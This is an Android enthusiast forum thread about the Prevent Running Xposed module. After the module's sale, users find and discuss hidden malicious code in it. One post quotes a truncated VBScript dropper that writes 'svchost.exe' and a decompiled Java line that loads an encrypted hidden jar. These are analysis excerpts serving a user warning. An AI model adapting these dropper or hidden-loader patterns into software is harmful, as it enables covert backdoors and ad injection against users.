[Xposed Framework Modules] kalel29:
im following this thread closely,and i want to test somethings,but before i do so,i have some questions.

the most important one its regarding about using this module along with greenify,what settings do i have to set in order to achieve the best of both apps,and then have a better experience.

Thanks.
[Xposed Framework Modules] liudongmiao:
As I have no ics+ devices, so i cannot say much things.

And if you want to try, you can wait for some days, I would write a simple configuation ui this weekend.

In short, if greenify works on your device, then just use greenify. But if you find greenify doesn't work at all, then try this one.

From design, greenify depends on http://developer.android.com/about/versions/android-3.1.html#launchcontrols introduces in android 3.1, this app hacks some api to emulate the launch controls. This works on gingerbread devices, and the devices that launch controls don't work at all.
[Xposed Framework Modules] liudongmiao:
normally, it only need "me.piebridge.prevent.permission.MANAGER" to contact with prevent running framework.

And, if you use backup, it may need "android.permission.WRITE_EXTERNAL_STORAGE".

But, sorry, as I transfer it to Shanghai Falcon Network...For myself, I keep the last version 2.3.2 by myself.
[Xposed Framework Modules] CrazyCypher:
Thank you for quick answer..I understand why you transfered to Shanghai Falcon. Thank you for explaining permissions, so I can revoke unnecessary permissions :)
[Xposed Framework Modules] dy2592:
Can you post your 2.3.2? I rather use that version.
[Xposed Framework Modules] naraykln01:
I love this app..I've a suggestion...I would like to have an app that will kill all running apps on 1 click, and certain apps will be triggered on single click. For eg, when i open high end game, i want all apps to be killed, once i close the game, i want certain apps to be run again with single click...For e.g. wallpaper changer, smart tone 2, call recorder,,, above apps i.e list i choose... triggered with single click
[Xposed Framework Modules] petr232:
Thanks for the awesome module! I wanted something to simply stop apps like Messenger, WhatsApp etc from starting themselves, but Greenify has too many functions, it's paid and it seems to work just like a task killer (+ I don't trust it much). It's a shame the module got sold, but currently using 2.3.2 and it seems to work just fine.

Just download it using Xposed? Or here http://dl-xda.xposed.info/modules/me.piebridge.forcestopgb_v839_999f7d.apk
[Xposed Framework Modules] dy2592:
Hey thanks man. I did install that version and used it but then ended up just installing the latest since it has the option to now disable new apps being put on the prevent list. Just my preference
[Xposed Framework Modules] petr232:
I thought it's the settings "Auto Prevent" in User guide -> Advanced Settings (even the description says "auto prevent new app").

Just tested it and after disabling that option newly installed apps aren't added to the prevent list.
[Xposed Framework Modules] knoxjon:
The Advanced Settings window is kind of hard to find (at least on phones). You have to go to the three dots menu and select "User guide" and then hit three dots again for Advanced Settings to show up.

Edit: I see you said that already; I don't know how I didn't read that correctly. Maybe I thought it was hard to find because I am not so smart. ;)
[Xposed Framework Modules] pritamdutt:
I love it..made my life easier..but what impact does it has on battery life!?
[Xposed Framework Modules] Artieza:
It creates strange errors in Xposed logs. Could you check it, please?
[Xposed Framework Modules] liudongmiao:
Prevent Running seems died, however, I, the original author, has a new project: Brevent.

Brevent means Black Prevent, is based on Prevent Running 2.2, aims to support Android 7.X.

As there is no Xposed for Android 7.X, so I use another way to support it, it's the main method on my phone.

The main purpose of Xposed is to modify method, and Prevent Running/Brevent only modify some methods, so a smali patch should be enough.

In Prevent Running, the smali patch is very difficult, but in Brevent, it's much simple, you can try it.

Please note: Brevent is not compatible with Prevent Running, and works only for android 4.4 to 7.1.

For smali patch, please read this article: https://github.com/liudongmiao/Brevent/blob/master/aosp/README.md

And as it's not a xposed module anymore, so please download the apk here: piebridge.me/br/

Currently, as the 7.0 has the internal support for the prevent running (appops run_in_background but don't block bind service), and modify bootloader is very hard in pixel, so I switch to another way: the way you don't need unlock bootloader, don't need root. And it's still in development.
[Xposed Framework Modules] 24imelqui:
Greaaaat! Please make another thread for BREVENT.
[Xposed Framework Modules] ticktock666:
Loved prevent running, but after you left development it became too buggy and i removed it, so I'm happy to test this new app.

Like the previous poster said, a new dedicated thread would be much appreciated, do we can report any bugs we find and follow up on changes, the only other thread i found here on xda was a module to enable brevent on Nexus 5x devices.
[Xposed Framework Modules] Artieza:
I think there will be Xposed for N at the end, so I'll hope you will add on-fly modifying.
[Xposed Framework Modules] pritamdutt:
M on lollipop..and prevent running is showing memory leak..
[Xposed Framework Modules] dy2592:
Buggy? Can you provide more details? Isnt it straight forward in that you just select the apps you dont want to have auto ran when you start up and thats it?
[Xposed Framework Modules] murali3127:
Is there any alternative to this app which I can use without xposed ?
[Xposed Framework Modules] liudongmiao:
Prevent Running has died, and Brevent born.

There are Brevent, Prevent without ROOT for Android 6.0+.

You can read here for more information: https://xdaforums.com/showthread.php?t=3559151
[Xposed Framework Modules] murali3127:
I don't have pc. I have root but don't have Xposed any other root alternative ?
[Xposed Framework Modules] liudongmiao:
You may try something like network debug, or run su shell to get a shell context, then execute the link.

Thre are many chinese guyed tried. However, I cannot test, as I didn't root my Pixel.
[Xposed Framework Modules] aploo87:
it doesn't work with me, my device is already rooted, have pc and xposed not installed and run on android 7.1.1
[Xposed Framework Modules] murali3127:
I am not an expert user. A simple guide will be helpful.
[Xposed Framework Modules] aploo87:
i do that but it doesn't work for can you explain more??!!
[Xposed Framework Modules] folusmile:
Dev I saw your new update..'run as root' does it mean I don't need to run as adb or I should run as root. Cos when I try to run as root it work when I leave the page it won't run again.
[Xposed Framework Modules] liudongmiao:
I need more log. I cannot promise root work.

Some guys reported that root won't work if selinux is enabled.

Can you add how much memory use processes?
[Xposed Framework Modules] francwalter:
I have tested this module and it worked as expected, but since I had it enabled my system was very slow reacting. Very slow. Much too slow.

I deactivated it then and after reboot it was fast again.

What could that be, is that a well-known issue?

I have a SGS4 with CM13 (Lineage).

EDIT 2017-04-07: the issue has stopped :) I don't know what it was. Module is activated and works good.

EDIT 2017-04-10: ... and it started again. After one day of lagging extremely I did in the end deactivated it again and the phone was fast again.

By the way, yesterday I had a demand of su access by a process called "zygote (80)" which is surely faked. Could that be as well this module?
[Xposed Framework Modules] FuTChY:
Xposed doetn't work on Android 7.1.1 AFAIK.
[Xposed Framework Modules] francwalter:
I don't understand, I downloaded this module through Xposed and there this thread is linked.

Now I read in the first post, that this module was taken over by Shanghai Falcon Network.

From who is it now?

EDIT 2017-05-30: Seems abandoned anyway :(

When enabled, the lagging is terrible so I cannot use it, see above.
[Xposed Framework Modules] francwalter:
OK, I switched back to Greenify

Hope this is lagless.
[Xposed Framework Modules] magicyoda:
Same for me, I Switched back to greenify after month of using *prevent running* and my smartphone is now running so smoother!

I hope there was no malware or something like that in prevent running...

I switched back to greenify too, but I noticed a bug that some apps show duplicate notifications with donation version of greenify. I uninstalled it and the issue is gone. Now, I live without any task management app and I'll see how it goes.
[Xposed Framework Modules] Colchenero:
I want to suggest that a pop-up appears when a new app installed asking whether to add it to prevent list or not instead of adding it by default to prevent list :D

[Xposed Framework Modules] FinnTheHuman.:
It removes everything. Even apps that are not affected by Prevent Running (aka whitelisted) will be removed from recent tasks as well.

Here's the thing, if an app is selected to be prevented and now is force-closed, the activity manger will flush all recent tasks along with it.

Soon enough, I will attach a video record and the log lines right when the bug occurs

Where to ask about new feature for this module? There is option for force stop app after specific time app is in background... There can also be same setting but for putting app into stanby mode after specific time in background.. what do you think guys? ?
[Xposed Framework Modules] Artieza:
This app contains the virus in /assets/about.{lang}.html.

VBScript><!--

DropFileName = "svchost.exe"

WriteData = "4D5A9000030...

It's for Windows (Android isn't affected but anyway)...

Java code does injections into defined Chinese apps to show screen splashes with ads... Maybe more...

Don't use it.

Thank for the hint. Immediately disabled it.

Can you report it to [MENTION=4419114]rovo89[/MENTION] so he can remove it from the repo?

[Xposed Framework Modules] FinnTheHuman.:
How does this virus have bad effects on Android?

Is it targeted for windows only?
[Xposed Framework Modules] Artieza:
Okay, let's take a much deep look on in. I was wrong. Here is few Chinese apps (picture related), but this module skip original ad screens. So it's good...

More interesting thing is called "Coupon".

String str2 = a2 + "jdata.jar";

com.url.coupon.lib01.b.a.a.a(a, "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCcMKxkfRQFOu4VlCaoFjpmkp9SwEwCpGwPUhvLKdYmgVyTd2PkEYz7L3Tos2ILOKTNToLVWg2hAk8Xj2p6moTP59IDsrty1ujwfXti/ZuuiC/GwkwueyqhPdLenxOWhiq5fQayPL85R7ht0LyvFY3z69hJnKx/MbDt4UR8EFzWgwIDAQAB", str2);

a = "main.jdproductslib02.jprocess.JDAgentImp";

It loads hidden classes from jdata.jar. This file is encrypted. It's easy to decrypt but not for lazy man... (Yeah, I won't).

This Coupon can do network requests and inject ad views anywhere in the system... This is a biggest code part into this app, lol.

This app also write some data into third-party app: com.jingdong.app.mall.

I don't know what it does, but...
[Xposed Framework Modules] Artieza:
It should open backdoor through svchost.exe process in Windows. I don't know why this is there.

I can. You can. I don't want. Do you? ?
[Xposed Framework Modules] jawz101:
You don't want to? That's stupid.

Well, I did and it's gone from the repo. A few months ago - like at least 6 months- I suggested doing some sort of automated scan of stuff submitted to the repo but I got the impression [MENTION=4419114]rovo89[/MENTION] loses interest in the whole concept of security or feels like it would mean he has to manage an app store.

This was after I submitted all of the thousands of module apk's on the site to VirusTotal and made a spreadsheet of the results. Some apps have not even had XPosed bridge in them! Randoms sometimes just upload their own apps to promote their software.
[Xposed Framework Modules] Artieza:
That's just funny for me that someone injects a virus which can't work on this platform. ? Why do I need to push alarm?

About "Coupon". I think I saw this point in settings. Maybe, it's possible to disable ad injection. They have rights to do this with users (if it really can be disabled). But it loads encrypted jar... Why? Data writing into third-party app... That's much.

About Xposed Bridge. It shouldn't be into app. Maybe, you meant xposed_init. I saw once...
[Xposed Framework Modules] FinnTheHuman.:
Well, that goes without saying. Exchanging network requests behind the user's back is strictly forbidden of course. As a workaround to user's sensitive data that might be put at risk, you can remove the network's permission from the manifest or simply you can use a firewall.

I'm wondering why wasn't it removed from the play store since it contains this load of hidden classes and malicious source code.
[Xposed Framework Modules] Artieza:
There is no way to check it automatically. There is BaseClassLoader provided by Android API and you can load any hidden stuff here.

This thing is used in software protection by DexGuard... Nevermind.
[Xposed Framework Modules] jawz101:
Who knows. I haven't looked at it but it could be that it might execute on a Windows box once you connect your phone to a pc. Using a peripheral to be the carrier of malware has done many times before. It's a lot easier to get malware on a device by the user doing some action than try to force your way in.
[Xposed Framework Modules] Artieza:
That's possible. Anyway there is no official comments, so goodbye, Shanghai Falcon Network.
[Xposed Framework Modules] Krystiannnnnn:
So, generally, this app contains a virus but only for Windows? So it's still safe to use it on android?
[Xposed Framework Modules] Artieza:
It isn't safe. Java code does some hidden things too. It's highly possible to open some backdoors and use your phone for crypto-mining, for example.

Strange thing, somebody knows about it?

I think prevent running isn't working anyway because I see in my list running applications which are on the prevent running list and which are running since half an hour or so
[Xposed Framework Modules] wokawoka:
It's such a big pity that apparently this module contains malicious code.... it's working just great on my phone and I can't find a real alternative to have the same result (I've tried brevent from the same author, and used it with root, but apparently I couldn't make it work as good).

Are we guys sure that the module contains malicious code? If so, couldn't that it was included by mistake?

And why doesn't the author release a statement here on the forum about that? I understand that he may be Chinese but from what I've seen with brevent he has people helping him translating the apps.

A comment by him about this issue would be really welcomed.

I've seen that a couple of days ago a new 2.6.1 version was released. Does it still contain the malicious code?

If positive, why is the module still in the xposed repository and has not been banned?
[Xposed Framework Modules] zoel.fahmi:
Don't be naive,

Mistake? Of course not
[Xposed Framework Modules] wokawoka:
then why it hasn't been removed from the repo?

do you guys are sure that the bad code is still present in the 2.6.1 version that has just been released?

It would be a pity, this module just works great on my phone and I'm not able to find a proper substitute...
[Xposed Framework Modules] yzkzero:
I just came here one hour ago to report a bug on my new Andriod 8. But OMG ! I saw the post regarding virus, malicious code... in this module... So I decided not to report the bug and uninstall it immediately.

Also I found the original author has developed a replacement which called "Brevent". see -> https://xdaforums.com/android/apps-games/introduce-brevent-black-prevent-root-t3559151

Becauce I think the malicious code is not added by the original author, so I tried "Brevent". It seems to work as expected without bug (so far) on my andriod 8 system.
[Xposed Framework Modules] mscalindt:
The newest version (2.6.2) still contains the malicious codes and hooks, but slightly modified. I suggest to everyone to NOT use this app, it has so many malicious hooks that it can break your device (if the company which bought the app decides to). You're taking a big security risk if you still have the app on your phone.

It's so sad that a good app is ruined by a greedy company...
